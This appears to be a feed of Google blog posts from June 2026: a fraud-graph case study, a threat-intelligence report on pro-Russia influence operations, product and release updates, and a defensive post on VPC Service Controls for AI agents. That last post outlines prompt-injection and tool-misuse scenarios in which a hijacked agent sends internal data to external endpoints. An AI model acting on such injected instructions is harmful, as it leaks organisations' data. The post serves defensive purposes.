Unify our data experience: Because BigQuery Graph is built into the data platform, we can combine graph traversals with standard SQL analysis, search, and machine learning workflows in a single query. We could therefore leverage our existing SQL pipelines to build the nodes and edges tables, switch to GQL for traversing the graph, and then perform final aggregations with standard SQL. This flexibility makes it accessible to more analysts, without having to upskill in a new language.

Impact and Results

Since integrating BigQuery Graph into our fraud mitigation strategy, the impact on our operational efficiency and bottom line has been profound.

Financial impact: We estimate that the automated blocks triggered by these graph-based insights have saved Curve ~$12M in transaction losses in 2025 alone.
Precision and accuracy: Our graph-powered queries have achieved an accuracy of approximately 72% in identifying fraudulent users. This high precision allows our fraud mitigation agents to focus their manual reviews on high-certainty cases rather than chasing false positives.
Operational speed: Moving to GQL allowed us to streamline our graph queries and refresh our fraud rules more frequently. Previously we were limited to one-hop queries in our hourly rules, but GQL allowed us to optimize these slow-running scripts to stay one step ahead of organized crime.
From rules to ML: The faster we can traverse the network, the faster we can serve graph-based features to our machine learning models. While rebuilding and traversing the graph on a daily basis is sufficient for training models, it is simply too slow at inference-time when transactions can be authorised in less than a second. GQL is allowing us to move towards micro-batch or streaming traversals to serve fresh data to our fraud monitoring models.

Looking Ahead

Our success with BigQuery Graph has opened new doors for our data science and security teams. We are currently working on fully incorporating our highest-volume signals—including billions of IP address connections—into our real-time detection loops. We are also exploring native graph visualization to give our analysts a more intuitive way to explore and "see" fraud webs as they form.

By treating our data as a living network of relationships rather than just rows in a table, Curve is ensuring that our security remains as efficient and robust as our customer experience.

Gemini can now take notes in Google Meet for Google AI Pro and Ultra subscribers.

2026-06-29T16:00:00+00:00

Google Meet's "Take notes for me" feature is available to Google AI Pro and Ultra subscribers in select languages.

Ask an AI expert: What exactly is the full stack?

2026-06-29T16:00:00+00:00

An illustration depicting a full-stack AI infrastructure against a dark background

The Bear Necessities: A Look at the Drivers, Dynamics, and Applications of the Pro-Russia Influence Ecosystem

2026-06-29T14:00:00+00:00

Written by: James Sadowski, Alden Wahlstrom

Introduction

Four years into Russia’s full-scale invasion of Ukraine, the pro-Russia influence ecosystem has evolved from a tool of war back into a global strategic asset. Since the mobilization of this ecosystem to support frontline objectives, we have witnessed the expedited development of new influence assets linked to multiple, expansive, covert information operations (IO) campaigns and a revitalization of pro-Russia hacktivism at an unprecedented scale. While this threat activity initially adapted to encompass Ukraine-related priorities, it is gradually pivoting back to established Russian influence objectives for which the ecosystem was originally honed. This shift is significant because it likely signals increased focus outside of Ukraine, warning that pro-Russia influence activity targeting the European Union (EU), North Atlantic Treaty Organization (NATO), and other top targeting priorities may intensify.

Ultimately, the war in Ukraine has provided a critical feedback loop for Russia to refine its influence activity, lessons that we anticipate will be applied as the ecosystem continues to reorient toward global strategic objectives while maintaining focus on Ukraine. Further, recent pro-Russia IO indicates the continued expansion of already diverse tactics, and the increasing use of generative AI tooling for planning, research, and content creation marks a forward trend in pro-Russia IO. Meanwhile, new and different actors have adopted IO tactics to meet an increasingly diverse set of challenges, signaling growing Russian reliance on influence tactics. Together, these trends likely demonstrate the Kremlin's perception of these tactics as cost effective and successful. The interconnected nature of the ecosystem's disparate components makes it resilient to limited scope disruptions, which defenders must consider to effectively mitigate pro-Russia influence threats.

The Ecosystem at a Glance: Objectives, Targeting, and Tactics

Russia's modern approach to information operations is built on the conceptual foundation of Soviet-era "active measures" adapted for the digital age. Alongside disruptive cyberattacks dating back to the early 2000s, the Kremlin has increasingly harnessed internet-based platforms for espionage and information operations. Russia's approach has evolved from rudimentary, singular operations into a complex, self-sustaining environment intentionally curated by the Russian Government that blends overt, covert, and independent elements to advance Kremlin interests both at home and abroad.

Core Influence Objectives

GTIG’s observations suggest the primary strategic motivations driving the pro-Russia influence ecosystem fall into five categories, each aiming to achieve military and/or political objectives through psychological manipulation of the target audience (Figure 1). Collectively, these objectives informally depict a global influence strategy: through the furthest reach of its influence, the Kremlin seeks to diminish Western primacy and advance Russia's global position; within its surrounding region, it strives to retain and return Moscow's dominance; and at home, it works to ensure the stability of the political regime.

Figure 1: Core objectives of the pro-Russia influence ecosystem

Targeting

Pro-Russia influence operations are pivoting from the near singular focus on Ukraine that dominated the ecosystem since 2022. We expect influence operations advancing Russia's war-specific interests to continue. However, as Russia seeks to reemerge from international isolation, we have increasingly observed a concurrent focus on pre-war pro-Russia influence objectives.

The current and historical targeting scope of each ecosystem component exposes both the Kremlin's global ambitions and the realistic limitations of its power projection. State-owned media organizations produce content intended to serve populations across six continents, but in recent years, sanctions and other factors have limited its production and distribution. Meanwhile, covert operations have appeared more limited in scope, primarily targeting the West and countries surrounding Russia, with intermittent operations targeting the Middle East and Africa, indicating that finite resources necessarily limit these operations (Figure 2).

Top Regional Targets

The United States and Europe: The Kremlin has long viewed the West as a top adversary of Russia. Accordingly, the US and Europe are top targets of covert pro-Russia information operations, especially aimed at undermining political stability within these countries and the unity between them. NATO and the EU embody the collective "West" and are Russia's perceived top adversaries, second only to the US independently.
Russia's "Near Abroad": Since the dissolution of the Soviet Union, Moscow has asserted that the countries that formerly comprised part of the USSR now reside in Russia's so-called "sphere of influence." Covert influence targeting this region directly reflects Moscow's assertion that Russia is a world power entitled to special privileges within its neighborhood.
The Middle East and Africa: Over the past decade, Russian efforts to reassert itself as a global power have included high-profile investments in cultivating Russia's standing in the Middle East and Africa. Covert pro-Russia influence activity is likely deployed in tandem as intended support for other Russian initiatives in these regions.
Russia Domestic: Internally targeted covert IO is a well-established component of pro-Russia influence activity, deployed by regime-aligned actors to promote Kremlin policies and repress opposition voices.

Targeted Entities and Global Events

The Olympics: Russia has long viewed Olympic participation as a point of national prestige, and GTIG has observed notable Russian influence activity targeting the Olympics in the face of Russian participation bans.
War in Ukraine: The war in Ukraine has been a key driver of Russia's influence activity, including attempts to influence events on the ground as well as influence activity intended to advance Moscow's interests elsewhere vis-a-vis the war. GTIG expects that Ukraine will remain a priority in Russia's targeting calculus during the post-conflict phase following any future peace agreements.
Elections: Election targeting aligns with multiple Russian influence objectives, including attempting to undermine confidence in democratic institutions as well as internally weakening perceived Western adversaries. These operations regularly target elections in countries that are already prioritized by ongoing pro-Russia influence activity.
Ad Hoc Geopolitical Flashpoints and Global Events: Russian influence actors have a history of pivoting activity to engage with emerging geopolitical developments and events, such as the COVID-19 pandemic or the 2026 Middle East conflict. This flexible target selection often overlaps or is aligned with other Russian priorities, making previously observed Russian influence activity helpful in anticipating which events may be appropriated.

Figure 2: Priority targets of the ecosystem

Tactics

Converging geopolitical and technological developments make the evolution of pro-Russia influence tactics a particularly important space to monitor right now. The pro-Russia influence ecosystem expanded to support the war effort, bringing change across the spectrum of activity and providing operators the opportunity to hone their tactics, techniques, and procedures (TTPs) in the rapid feedback loop of war. Meanwhile, the emergence and increased democratization of generative AI tooling has brought both promised and already realized opportunities to support all phases of the IO lifecycle. The following are a sample of key tactics that illustrate how pro-Russia actors currently blend well-tested methods with new technological developments to reach audiences through diverse means:

Generative AI: GTIG has observed pro-Russia influence actors increasingly leverage AI tooling to support different stages of their operations, including support for planning and general research as well as content creation.

Google Threat Intelligence Group (GTIG) is closely tracking the transition from nascent AI-enabled operations to the maturing, industrial-scale application of generative models within adversarial workflows across threats ranging from espionage and crime to IO. Please see our latest AI threat tracker for more information on how this threat is developing based on our insights, and what Google is doing to protect our customers.

Narrative Resonance: Hijacking existing ideological and emotional fissures within a society provides pro-Russia influence actors tailored narratives to target audiences and potentially increases potential engagement and impact.
Cyber-Enabled IO: Influence campaigns frequently coincide with destructive cyberattacks, such as the deployment of wiper malware alongside website defacements containing false surrender messages, or the historic use of "hack and leak" campaigns in which exfiltrated data, sometimes manipulated, is then publicized through an actor-controlled false persona. In some instances, Russian actors may even leverage direct cyber espionage targeting as a way to achieve psychological effects, intending to influence victims' behavior through intimidation.
Media Mimicry: Pro-Russia actors have attempted to mimic legitimate media at scale and through a variety of means, including via the wholesale appropriation of legitimate media brands or developing inauthentic media brands that generally masquerade as independent news sources. These tactics are intended to add a veneer of legitimacy to the promoted narratives.
Direct Dissemination: Pro-Russia influence actors have used closed communication channels, such as emails, SMS text messages, and messenger apps, to disseminate various types of pro-Russia narratives as an adjunct to or outside typical social media-focused operations.

Core Ecosystem Components

The current pro-Russia influence ecosystem operates across a spectrum from official government communications to deniable covert actions conducted by intelligence services and "patriotic" proxies. GTIG identified six core components that represent key activity types (Figure 3). While many elements are state-directed or state-affiliated, the ecosystem is also a cultivated, self-sustaining system: various actors, often without explicit direction, amplify Kremlin-friendly narratives and pursue actions that advance Russia's strategic interests. This fluidity provides resilience and complicates attribution, mirroring the longstanding Kremlin strategy to co-opt non-state actors, including criminal networks for finance or illicit logistics, to achieve state objectives without direct attribution. Although each of the core ecosystem components serves as a unique lever the Russian Government can employ to achieve desired objectives, they are regularly used together. For instance, while the entire pro-Russia hacktivist landscape is not state-sponsored, the Russian intelligence services have used both genuine and fabricated hacktivist personas to launder stolen data as part of blended cyber espionage and IO hybrid operations.

Figure 3: Core components of the pro-Russia influence ecosystem

An Interconnected Ecosystem Enhances Influence Utility

Figure 4 illustrates the complex, interconnected nature of the pro-Russia influence ecosystem by mapping relationships between a selection of key actors and organizations across five of the core components. The ecosystem functions as a cohesive unit, not only through shared objectives, but also through direct cross-component interactions. The Russian Government functions as the sixth core ecosystem component, setting the policy and talking points that inform the ecosystem’s promoted narratives and sponsoring overt and covert assets throughout the other five components diagrammed in Figure 4. Through these levers, the Kremlin fosters the cross-component links that underpin the ecosystem, enhancing its overall utility as a versatile tool of state influence.

Figure 4: Subset of actors that illustrate how different components of the ecosystem interact with each other

10 Key Dynamics for Understanding the Pro-Russia Influence Ecosystem

The scope and diversity of activity in the pro-Russia influence ecosystem challenges defenders tasked with enumerating, tracking, and countering its threats. GTIG has distilled 10 key ecosystem dynamics based on our current understanding of its components and how they each enable covert influence activity. These dynamics frame critical aspects of how activity manifests within the ecosystem, providing a high-level guide to understand and track these threats.

Large-scale IO campaigns are an integral element of the pro-Russia influence ecosystem. Major pro-Russia IO campaigns have been an enduring feature of the pro-Russia ecosystem, with new campaigns emerging as previous ones fall into inactivity. Maintaining extensive IO campaigns and their associated established influence infrastructure enables proactive messaging on strategic issues and underpins a capability that can be rapidly adapted for emerging domestic and global priorities.

Long-established IO campaigns, like Secondary Infektion, pivoted to meet new strategic needs as Russia’s 2022 invasion of Ukraine began. New IO campaigns, such as “Operation Overload,” subsequently emerged to support the war effort; while Secondary Infektion has become dormant, these “successor” campaigns have since been leveraged to advance other global Russian influence objectives beyond the war itself.

Pro-Russia actors often prioritize persistence and the range of tactics they leverage reflects this. In the face of public exposure and disruption, pro-Russia actors and their infrastructure have often remained persistent, sometimes making tactical adjustments to mitigate the effects of detection and disruption and other times continuing operations unabated.

These persistence tactics include the Doppelganger campaign and overt Russian media’s respective cycling of domain infrastructure and/or use of mirror domains to overcome exposure, platform bans and sanctions. Influence operators also frequently continue using compromised assets, sometimes mocking their exposure, as seen with the legacy US-targeted NAEBC campaign and the APT44-affiliated hacktivist persona XakNet Team.

Figure 5: NAEBC-linked persona account mocking public exposure of influence assets (left), and GRU-sponsored XakNet Team persona mocking then-Mandiant (now part of Google Threat Intelligence Group) attribution of the group’s activities to the GRU (right)

Pro-Russia and Russian cyber espionage groups leverage IO tactics to support their operations and weaponize stolen data and/or illicit access. While less frequent, this hybrid activity is a critical dynamic within the pro-Russia influence ecosystem. GTIG has previously observed operations used to shape narratives around cyberattacks and influence events on the ground and to conduct foreign political interference, including the repeated targeting of foreign elections, reported in Spring 2024. We have attributed some observed instances of this to Russian government-sponsored threat actors.

Russian state sponsored or pro-Russia hacktivist groups have long relied on public advertisement of real or claimed data exfiltration to highlight their operations, intimidate targets, or sway public opinion. In 2022, UNC4057 (COLDRIVER) used data stolen from espionage targets in a high profile hack-and-leak operation seeking to exacerbate divisions in UK politics. More recently, the self-proclaimed hacktivist group PalachPro claimed in February 2026 to have gained unauthorized access to a Ukrainian government online portal and publicly posted screenshots of the claimed compromise. The Ukrainian government has previously noted that the portal does not store the type of data the threat actor claimed to compromise, suggesting the public posting was likely intended as influence activity, attempting to create the illusion of a more serious threat.

Figure 6: UNC4057 leak website attempting to inflame public debate

Pro-Russia hacktivists serve a direct influence function. Modern pro-Russia hacktivism has evolved into an important component of the influence ecosystem that blends state-backed actors leveraging hacktivist tactics with an evolving cohort of likely third-party hacktivist actors that support Russia's geopolitical interests. Pro-Russia hacktivist groups gain domestic and foreign attention for strategic messaging via their claimed threat activity, amplify narratives directly seeded in overt ecosystem segments, and at times also support traditional IO activity or create a means of plausible deniability for state-sponsored espionage actors.

The self-proclaimed hacktivist group NoName057(16) emerged following the Russian invasion of Ukraine in 2022, primarily targeting Ukraine and its partners and allies with DDoS attacks and various network intrusions. It has targeted high profile events, such as the Milano Cortina Winter Olympics, institutions like the French National Assembly, and critical infrastructure and transportation targets in Germany. Often their messaging cites grievances with overt acts of Western support for Kyiv, suggesting the group advances Russian interests not only through the targeting of perceived Russian adversaries but also in gaining attention for its pro-Russia messaging.

Established ecosystem components facilitate the cultivation of new assets and activity. Inter-ecosystem cross-promotion helps overcome challenges of audience building by directing traffic toward new assets, operations, and narratives, enabling rapid deployment of new and existing IO capabilities. This directly supports a self-sustaining cycle that maintains and expands the ecosystem.

The hacktivist persona JokerDNR played a significant role in amplifying the APT44-linked persona Solntsepek when its doxxing-focused Telegram channel first launched and then again as it began claiming cyber espionage activity.

Domestic Russian audiences are a longstanding target of the pro-Russia influence ecosystem. Internally directed influence activity has often involved the promotion of Kremlin policies and talking points and the denigration of opposition voices and ideas, conducted by both overt and covert segments of the ecosystem.

Ahead of Russia’s March 2024 presidential election, GTIG identified the hybrid espionage and influence actor UNC5101 register domains and conduct associated influence operations attempting to deceive Russian opposition voters about the timing of an anti-Putin protest.

Ecosystem actors respond to the same set of internal shifting circumstances and external geopolitical developments, often leading to seemingly similar, but ultimately distinct, activity. These shared drivers and general motivational alignments encourage actors to "spontaneously" coalesce around a particular topic or narrative. While this can appear superficially similar, this phenomenon is distinct from instances of actor coordination and campaign linkages, which is less common.

Systemic flexibility is a central feature, with influence assets able to mobilize both incrementally and at scale to advance Russian interests. The Russian Government is able to mobilize assets across the ecosystem to respond to strategic events. Meanwhile, individual or aligned actors can separately mobilize to address tactical needs, allowing the ecosystem to concurrently message on multiple issues across different geographies (Figure 7).

Russia demonstrated its ability to focus the ecosystem on a single strategic issue like the Russian invasion of Ukraine. Simultaneously, discrete assets have addressed tactical events, such as when Portal Kombat briefly promoted narratives about a Russian drone incursion into Poland concurrently with other covert pro-Russia influence activity.

Figure 7: Tactical responses are executed by individual or coordinated/aligned clusters of actors to address emerging developments

Overt Russian media contributes to, and is connected with, multiple covert influence components. The overt components of Russia's influence infrastructure play a critical role within the broader Russian influence ecosystem beyond the commonly understood function of providing a public platform for government-aligned narratives and official talking points; overt media helps to drive (inform targeting) and amplify covert pro-Russia influence activity, seeding desirable narratives within the ecosystem and providing an indirect conduit between the Kremlin and a disparate array of influence actors. Overt media outlets have directly coordinated their activity with covert actors and have increasingly employed IO tactics to disseminate their own content in the face of sanctions and platform bans (Figure 8).

US Government sanctions in late 2024 indicated that Russian state media company Russia Today (RT) directly conducted covert influence operations, including on behalf of the Russian intelligence services. Further, RT employees reportedly interacted with members of the self-proclaimed hacktivist group RaHDit, which has claimed to collaborate with multiple other pro-Russia hacktivist groups, illustrating the layered connections between overt media, Russian intelligence services, and hacktivist groups.

Figure 8: Overt Russian media maintains multiple links with the covert segments of the ecosystem

Outsourcing IO capability development and campaign execution to third-party organizations and proxies enables scaling and obfuscation. Outsourcing is used for developing custom tooling and bolstering both human and organizational capacity. While custom tool development facilitates operators in all phases of the IO lifecycle, Russian government actors can flexibly leverage different models for outsourcing campaign execution based on their specific needs. Proxy actors can also generate plausible deniability (Figure 9).

GTIG reported how Russian IT contractor NTC Vulkan (Russian: НТЦ Вулкан) worked with the Russian intelligence services, including providing tooling and support for the GRU unit that sponsors APT44 activity. Separately, US government sanctions detailed how the Doppelganger campaign is supported by multiple Russian contractors under the sponsorship of the Russian Presidential Administration.

Figure 9: Outsourcing and proxies support capability development and campaign execution for covert influence activity

Conclusion

Multiple factors are propelling the evolution of the pro-Russia influence ecosystem we have observed since Moscow’s full scale invasion of Ukraine four years ago. The Kremlin mobilized the entire ecosystem to support the ongoing conflict, which has provided rapid feedback and driven significant investment in new and established overt and covert influence assets. At the same time, pro-Russia actors are increasingly experimenting with generative AI to enhance their workflows. This condensed period of adaptation, alongside signals suggesting Russia's growing reliance on IO tactics to navigate new challenges, raises concerns regarding how a potentially diversifying pool of actors will leverage advancements in tradecraft and scalability. As Russia seeks to emerge from international isolation and reorients its influence ecosystem back toward global objectives, it is critical for defenders to understand how this ecosystem provides the Kremlin with a durable influence capability in order to better anticipate future Russian influence threats.

Additional Tools and Resources

For mitigation and hardening recommendations, please review the following:

Google offers a suite of free of cost tools to help protect high-risk users from the most pervasive digital attacks, to which politicians, journalists, and campaigns are often most vulnerable. Examples include protecting accounts from targeted attacks with Advanced Protection Program and safeguarding campaign websites from DDoS attacks with Project Shield.

Unlock deeper insights for YouTube brand campaigns.

2026-06-29T14:00:00+00:00

New features will help prove how YouTube brand campaigns are driving the results advertisers care about.

Turner Industries’ Blueprint for a Secure, Cloud-First Infrastructure

2026-06-29T09:16:00+00:00

Editor’s note: Today’s post is by Scott Gatreau, Director of Information Security, at Turner Industries, a privately owned industrial contractor that provides construction, maintenance, and fabrication services. To streamline their one-stop shop service model and support their mission to reduce costs and increase efficiency, Tuner Industries turned to ChromeOS, Google Workspace, Chrome Enterprise Premium and Cameyo. This integrated tech stack provides the secure, efficient foundation necessary for continued growth.

Snapshot: _____________________________________________________________________________________________

To streamline their one-stop shop service model and support their goal of reducing costs and increasing efficiency, Tuner Industries turned to ChromeOS, Google Workspace, Chrome Enterprise Premium, and Cameyo. This integrated tech stack provides the secure, efficient foundation necessary for continued growth.

Turner Industries deployed Chromebooks and reduced their cost-per-device by 40-50% compared to previous hardware and improved device longevity by 100-125%
Saved $700,000 across 1,200 devices
Reduced device configuration and deployment time from hours to minutes, saving an estimated 1,750 hours annually
Adopted Google Workspace and Chrome Enterprise Premium for 21k employees

_____________________________________________________________________________________________

For over six decades, Turner Industries has been a cornerstone of the industrial contracting sector, committed to efficiency and operational excellence. Our tech optimization began approximately two and a half years ago with a decisive pivot to Google Workspace to upgrade our productivity tools. However, we hadn’t fully tapped into its potential until we deployed ChromeOS, Chrome Enterprise Premium, and Cameyo. This shift completely reshaped our infrastructure, and helped us boost our security, and deliver significant cost savings.

Adopting tools from Google’s enterprise ecosystem was a strategic choice driven by clear economic and operational needs. Cost was a factor since the purchase price is lower than traditional business devices, but they also offer greater longevity. We anticipate eight to ten years from our Chromebooks, which is a 100% to 125% increase in device longevity compared to previous options, thereby reducing our refresh cycles. This extended lifecycle, coupled with the immediate savings on software, like eliminating multiple antivirus licenses, built a robust case for long-term cost reduction. We also saw a reduction in IT support and maintenance costs. In total, the cost per device is 40-50% less than our previous hardware, totaling $700,000 in savings across 1,200 devices. Beyond the savings on new hardware, we can use ChromeOS Flex to convert our existing devices, offering an additional $600,000 in savings.

Opportunity for more strategic work due to saved time

Not only are we saving money, but we are also saving time. With ChromeOS, the time to deploy is now measured in minutes rather than the hours previously required to image and configure our previous machines, saving our team an estimated 1,750 hours annually. Furthermore, the inherent security and self-managing nature of ChromeOS minimizes the time my team spends on patching, installing applications, and handling routine security tickets, freeing up resources for higher-value strategic work.

The move to ChromeOS also created synergy with our established Google Workspace environment creating a fluid, modern working experience for our 21,000 employees.

We can also manage all endpoints using Chrome Enterprise Premium, enforcing critical security policies like Data Loss Prevention (DLP) across the Chrome browser, regardless of the device type. While our frontline teams are experts in their fields, their focus is on productivity rather than cybersecurity. The sandboxed environment ensures that even if a worker inadvertently downloads a malicious file, malware cannot execute or compromise the system allowing our team to focus on their work without risk.

Cameyo solved our challenge of accessing legacy Windows applications. Historically, as an industrial contractor operating at hundreds of client job sites, we relied heavily on a different VDI solution to allow field workers to securely access our network and applications, often over guest Wi-Fi. By completely replacing our legacy architecture with Cameyo, we gained a more stable, simpler, and cloud-native virtualization platform that is easier to manage.

ChromeOS is now utilized across nearly every discipline at Turner Industries, from frontline employees and sales teams to our executive leadership. Our CEO, COO, and CIO are all dedicated ChromeOS users. Our COO, historically a heavy Excel user who many thought would never switch was one of the first adopters and has since fully embraced Google Sheets. They believe in leading by example and they rely on ChromeOS for its simplicity and speed. Furthermore, the familiarity of ChromeOS for younger employees, who used it throughout their education, eliminates the learning curve and leads to instant productivity upon hiring.

Embedding Google’s ecosystem into the heart of Turner Industries’ IT strategy has yielded a transformation that is simultaneously structural, financial, and cultural. We have moved beyond the complex, costly, and resource-intensive architecture of the past to embrace a stack defined by simplicity, intrinsic security, and operational efficiency. For an organization of our scale, this modernization effort has established a new standard for how industrial excellence is supported by technology, confirming that a centralized, secure, and modern cloud-first infrastructure is the architecture for the future.

Cloud Release Notes — June 29, 2026

2026-06-29T07:00:00+00:00

BigQuery

Feature

You can now grant data preparations and pipelines access to additional services when running or scheduling them with user credentials for a Google Account. You can grant data preparations access to Google Drive, and grant pipelines access to Google Drive, Bigtable, and Knowledge Catalog. Extended access options are available in Preview.

Dataform

Feature

You can grant workflows access to Bigtable, Google Drive, and Knowledge Catalog when running or scheduling them with your Google Account user credentials. Extended access options are available in Preview.

Cloud Release Notes — June 28, 2026

2026-06-28T07:00:00+00:00

Google SecOps SOAR

Announcement

Remote Agents Version 2.6.7

Remote Agents Version 2.6.7 is now available. This release contains minor bug fixes.

Cloud Release Notes — June 27, 2026

2026-06-27T07:00:00+00:00

Google SecOps SOAR

Announcement

Release 6.3.90 is now available for all regions.

Google Workspace Weekly Recap - June 26, 2026

2026-06-26T18:52:29+00:00

Troubleshoot formula errors quickly with Gemini in Google Sheets

We’re excited to introduce a new Gemini in Sheets capability that enables you to diagnose and fix formula errors in one click. When you encounter a formula error, Gemini can analyze the surrounding data structure to help provide an easy-to-understand explanation of the core issue alongside a corrected version of the formula. | Learn more.

Enhanced security monitoring with expanded Admin password reset alerts

In Alert Center, we are expanding the existing “Super Admin password reset” alert into a broader Admin password reset alert. With this update, the alert will now cover password resets for all administrator roles within your organization. | Learn more.

Join Google Meet calls from Safari on iOS devices

Prior to this update, iOS users without the Gmail or Meet apps were unable to participate in Google Meet sessions on their mobile devices. Now, iOS mobile device users can join meetings directly through Safari, without needing to install an app. | Learn more.

Google Apps Script is now a Google Workspace core service with enterprise-grade data protection

Google Apps Script is officially a Google Workspace core service. Covered under the Google Cloud Terms of Service and Google Workspace for Education Terms of Service, Apps Script now offers the same enterprise-grade data protection, robust administrative controls, and standard technical support that safeguards other core services. | Learn more.

Connect to Google Meet hardware with room codes now in Early Preview

Google Meet users can now connect to nearby conference room hardware by entering a 5-character room code on their personal device. Meet recently launched Connect Room using proximity-based detection to identify nearby hardware. | Learn more.

Updates to Gemini in Google Classroom

We are introducing several updates to the Gemini tab in Google Classroom designed to make its tools even more helpful for teachers. These changes make it easier for educators to collaborate with AI and create visual aids from any device, while expanding options for refining lesson plans. | Learn more.

Stricter classifications for Google Groups to enhance data security and privacy

Earlier this year, we announced changes to Google Groups to enhance data security and privacy. The changes, which are rolling out now. | Learn more.

Read Along in Google Classroom is now available to all education users to support foundational literacy

Streamline your data backups with incremental exports for Google Workspace

Google Workspace administrators can now utilize incremental exports when backing up organizational data. Instead of re-exporting their entire organization's data, admins can export frequent snapshots of their data into their organization’s own Google Cloud Storage (GCS) bucket. | Learn more.

The announcements above were published on the Workspace Updates blog over the last week. Please refer to the original blog posts for complete details.

Google Workspace Weekly Recap - June 26, 2026

2026-06-26T18:52:29+00:00

Troubleshoot formula errors quickly with Gemini in Google Sheets

Enhanced security monitoring with expanded Admin password reset alerts

Join Google Meet calls from Safari on iOS devices

Google Apps Script is now a Google Workspace core service with enterprise-grade data protection

Connect to Google Meet hardware with room codes now in Early Preview

Updates to Gemini in Google Classroom

Stricter classifications for Google Groups to enhance data security and privacy

Earlier this year, we announced changes to Google Groups to enhance data security and privacy. The changes, which are rolling out now. | Learn more.

Read Along in Google Classroom is now available to all education users to support foundational literacy

Streamline your data backups with incremental exports for Google Workspace

The announcements above were published on the Workspace Updates blog over the last week. Please refer to the original blog posts for complete details.

Accelerating Gemini Nano models on Pixel with frozen Multi-Token Prediction

2026-06-26T18:30:07+00:00

Machine Intelligence

Accelerating Gemini Nano models on Pixel with frozen Multi-Token Prediction

2026-06-26T18:30:00+00:00

Machine Intelligence

Securing agentic AI with perimeter guardrails: What's new in VPC Service Controls

2026-06-26T18:00:00+00:00

As enterprises scale autonomous AI agents into production, enabling safe innovation requires robust architectural guardrails. AI agents connect across tools and datasets, so it’s essential to establish clear network-level boundaries for comprehensive data protection.

To help organizations confidently deploy these workflows, we recommend VPC Service Controls (VPC-SC) to establish an essential network-level, destination-based perimeter. Today we’re announcing several new capabilities specifically designed for agentic workloads.

What's new in VPC Service Controls

Designed to enhance AI security, the new capabilities we’re announcing today strengthen boundaries enforced by VPC-SC.

The capability updates include:

Agent identity in directional rules: Enforcing least-privilege access requires treating agents as first-class identities. You can now add agentic identities directly to service perimeter ingress and egress rules using standard Identity and Access Management (IAM) principals.

A single principal maps to an individual agent, while a principalSet maps to a broader collection of agents. PrincipalSets lets administrators apply consistent, auditable access policies across agent fleets. If an agent is compromised, you can immediately revoke its access at the network perimeter.

Granular control with model context protocol (MCP) attributes: As MCP becomes the standard integration layer for agentic systems, the ability to enforce policy at the tool level is critical. VPC Service Controls now support conditional access rules based on specific MCP attributes, including mcp.toolName, mcp.method, and mcp.tool.isReadOnly.

For example, you can grant an agent read access to a Workspace MCP server while explicitly denying its ability to send emails.

Securing the Gemini Enterprise Agent Platform: The Gemini Enterprise Agent Platform provides a comprehensive foundation for production-grade agent deployments. VPC Service Controls is now natively integrated with Agent Platform. When you include Agent Platform as a protected service within a VPC-SC perimeter, the system automatically blocks all public internet access to the Agent Platform instance — enforcing a secure boundary without additional configuration overhead.

"At Mercado Libre, VPC Service Controls serve as an essential, foundational layer of our security architecture. By building a strong perimeter enforcement across hundreds of Google Cloud projects in our organization, we established robust network-level security controls with VPC-SC, ensuring all our data remains protected in our cloud environment," said Juan Pablo Boschi, project lead at Mercado Libre.

Defining a layered approach to enterprise AI security with VPC-SC

Securing an autonomous agent requires a layered approach. Identity, network, and resource controls each target a distinct threat vector.

Identity controls: IAM and Principal Access Boundaries (PAB) focus on "who" can access specific resources. By enforcing strict least-privilege principles for agent identities, you help ensure that autonomous workloads only have the permissions necessary for their specific objectives.
Network controls: Next-generation network firewalls and VPC Service Controls define a robust data perimeter on top of your infrastructure, governing the flow of information across boundaries and preventing data exfiltration.
Resource controls: Organization Policy and other resource-level guardrails set broad, immutable constraints on how resources can be configured and used, preventing risky configurations by default.

While identity and network controls effectively secure the front door, VPC Service Controls provide a critical destination-based defense. In the probabilistic world of autonomous agents, VPC-SC is the control that focuses on the "how” and "where" of the agent’s network and operations, in addition to the “who”.

Defending against the unique attack vectors

Unlike traditional applications, an AI agent's input can inadvertently prompt it to execute an unintended command or action. If an agent is successfully compromised — whether driven by malicious prompts, tool manipulation, or malicious insider commands — VPC Service Controls serves as a critical network safety net.

To illustrate how this network boundary defends against industry-standard risks as mapped by the OWASP Top 10 for LLM Applications, here are three real-world threat vectors where VPC Service Controls can help supplement identity-based controls to prevent data exfiltration.

Exfiltration prevention via indirect prompt injection (OWASP ASI01): A malicious actor could attempt to embed a hidden prompt asking an agent to summarize internal data and transmit it to an unauthorized user. If the hijacked agent has IAM permissions, IAM detects no anomaly.

However, when the agent tries to send that data to an external webhook, VPC-SC blocks the API-layer transfer because the destination is outside the defined perimeter.

Guardrail for tool misuse (OWASP ASI02, ASI08): Prompt hijacks can lead agents to chain tools maliciously, such as sending internal directory data to an external service. By enforcing a VPC-SC perimeter around sensitive assets, you prevent misbehaving agents from bridging data across isolated trust zones.
Neutralizing insider threats (OWASP AS103): Attackers can command a data-processing agent to perform a direct cloud-to-cloud copy from a BigQuery dataset to an unauthorized project. While network firewalls see legitimate HTTPS traffic to BigQuery, and IAM sees an authorized service account, VPC-SC evaluates the destination resource. Since the destination project is outside the enterprise perimeter, the system immediately denies the API request.

VPC Service Controls acts as a perimeter to block data exfiltration attempts from a compromised agent, even if the agent has valid IAM credentials.

Data protection for the autonomous agent world

Perimeter security has evolved from a recommended best practice in the deterministic application and workload centric age to an absolute requirement for the era of autonomous AI agents. VPC-SC provides the necessary control over data movement that IAM cannot address alone.

In an era where agents interpret prompts as code, VPC-SC becomes the mandatory safety net for enterprise data. Pairing the mapping capability of IAM with the rigid data perimeters of VPC-SC lets organizations securely build agentic innovation while maintaining an absolute guardrail against exfiltration.

To learn more, you can explore VPC-SC resources here.

Securing agentic AI with perimeter guardrails: What's new in VPC Service Controls

2026-06-26T18:00:00+00:00

What's new in VPC Service Controls

Designed to enhance AI security, the new capabilities we’re announcing today strengthen boundaries enforced by VPC-SC.

The capability updates include:

Agent identity in directional rules: Enforcing least-privilege access requires treating agents as first-class identities. You can now add agentic identities directly to service perimeter ingress and egress rules using standard Identity and Access Management (IAM) principals.

A single principal maps to an individual agent, while a principalSet maps to a broader collection of agents. PrincipalSets lets administrators apply consistent, auditable access policies across agent fleets. If an agent is compromised, you can immediately revoke its access at the network perimeter.

Granular control with model context protocol (MCP) attributes: As MCP becomes the standard integration layer for agentic systems, the ability to enforce policy at the tool level is critical. VPC Service Controls now support conditional access rules based on specific MCP attributes, including mcp.toolName, mcp.method, and mcp.tool.isReadOnly.

For example, you can grant an agent read access to a Workspace MCP server while explicitly denying its ability to send emails.

